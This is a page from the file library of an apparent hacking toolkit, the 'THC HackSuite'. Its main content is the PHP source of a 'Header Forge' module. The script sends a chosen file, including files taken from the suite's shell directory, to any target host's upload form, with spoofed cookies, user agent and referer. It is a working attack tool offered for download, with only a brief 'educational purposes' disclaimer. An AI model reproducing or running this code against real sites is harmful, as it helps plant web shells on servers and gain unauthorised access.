random gallery image
random tutorial
preview

..are going to create a new app for the hacksuite. We're not going to do anything fancy here, we will make a simple app to get familiar how to write compatible scripts for the suite. We..

read more

random debugging
xAnalyze

xAnalyze is a module that can search through corrupt data and configuration files in order to find the exact position of errors

more about this module
more of this category
more modules

HackSuite File Library
File Library
Here you can find the latest files and structure of the THC HackSuite, note that if you have an earlier version of the suite it's not recommended to update files manually. Instead you should overwrite your existing HackSuite environment.
<?php
/*
Handler for Header Forge

Author: Remco Kouw
Site: http://www.hacksuite.com
Last Edit: 13-04-2015
*/
set_time_limit(0);
$_MODULE_C "thc_hf";
include_once(
"../../Includes/screen_header.php");
include_once(
$_PATHS['style_root']."/screen.php");
include_once(
$_PATHS['functions_root']."/scrn.php");
// options
$sOptions "<b>logging:</b> ".($_CONTEXT['log']==true "on" "off")."<br>\n";
$sOptions .= "<b>silence:</b> ".($_CONTEXT['silent']==true "on" "off")."<br>\n";
$sOptions .= "<b>verbose:</b> ".($_CONTEXT['verbose']==true "on" "off")."\n";
if(!
function_exists("curl_file_create")){
    echo 
$sOut;
    echo
"<b id=h7>You need the function curl_file_create (&gt;=PHP 5.5)</b>";
    echo 
$sEnd;
    exit;
}
$_CONTEXT['vars'] = array();
if(isset(
$_POST['sPage'])){
    foreach(
$_POST as $sKey=>$sValue){
        
$_CONTEXT['vars'][$sKey] = trim($sValue);
    }
    if(isset(
$_FILES['sUpload']['tmp_name'])){
        
// upload file from your own computer
        
$sData $_FILES['sUpload']['tmp_name'];
    }
    else{
        
// use a file from the shell directory
        
$sData ExploitFilter($_PATHS['shell_root']."/".$_POST['sShell'],0,1);
    }
    if(
false==($iSizeFile = @strlen($sData))){
        echo 
$sOut;
        echo
"<b id=h7>Failed to get file data or no data available</b>";
        echo 
$sEnd;
    }
    else{
        
$rConnect curl_init($_CONTEXT['vars']['sHost'].$_CONTEXT['vars']['sPage']);
        
$aPost curl_file_create($sData,$_CONTEXT['vars']['sMedia'],$_CONTEXT['vars']['sFileName']);
        
$aPost = array($_CONTEXT['vars']['sVarUpload'] => $aPost);
        
curl_setopt($rConnect,CURLOPT_POST,1);
        if(isset(
$_CONTEXT['vars']['sCookie']) && !empty($_CONTEXT['vars']['sCookie'])){
            
curl_setopt($rConnect,CURLOPT_COOKIE,$_CONTEXT['vars']['sCookie']);
        }
        if(isset(
$_CONTEXT['vars']['sAgent']) && !empty($_CONTEXT['vars']['sAgent'])){
            
curl_setopt($rConnect,CURLOPT_USERAGENT,$_CONTEXT['vars']['sAgent']);
        }
        if(isset(
$_CONTEXT['vars']['sReferer']) && !empty($_CONTEXT['vars']['sReferer'])){
            
curl_setopt($rConnect,CURLOPT_REFERER,$_CONTEXT['vars']['sReferer']);
        }
        if(isset(
$_CONTEXT['vars']['sOtherVar']) && !empty($_CONTEXT['vars']['sOtherVar'])){
            
$aVars explode("&",$_CONTEXT['vars']['sOtherVar']);
            for(
$x=0;$x<count($aVars);$x++){
                
$aVals = @explode("=",$aVars[$x]);
                
$aPost[$aVals[0]] = $aVals[1];
            }
        }
        
curl_setopt($rConnect,CURLOPT_POSTFIELDS,$aPost);
        echo 
$sOut;
        
$sResult curl_exec($rConnect);
        echo 
$sEnd;
        
curl_close($rConnect);
    }
}
else{
    echo 
$sOut;
    echo 
$sOptions;
    echo 
$sEnd;
    exit;
}
?>
powered by
site stats
cms statistics:
version: 0.6.0
downloads: 3840
native: 26
modules: 21
apps: 2
support development
It takes lots of calories in order to create new things for the hacksuite, so it would be grand if you could buy me a protein shake or extra energy to keep me going. Thanks!
disclaimer
We are not responsible for any direct or indirect damage caused by abusing the tools provided on hacksuite.com. The suite is developed for educational purposes, use at your own risk!
Created by Remco Kouw. Powered by protein shakes and a high calorie diet.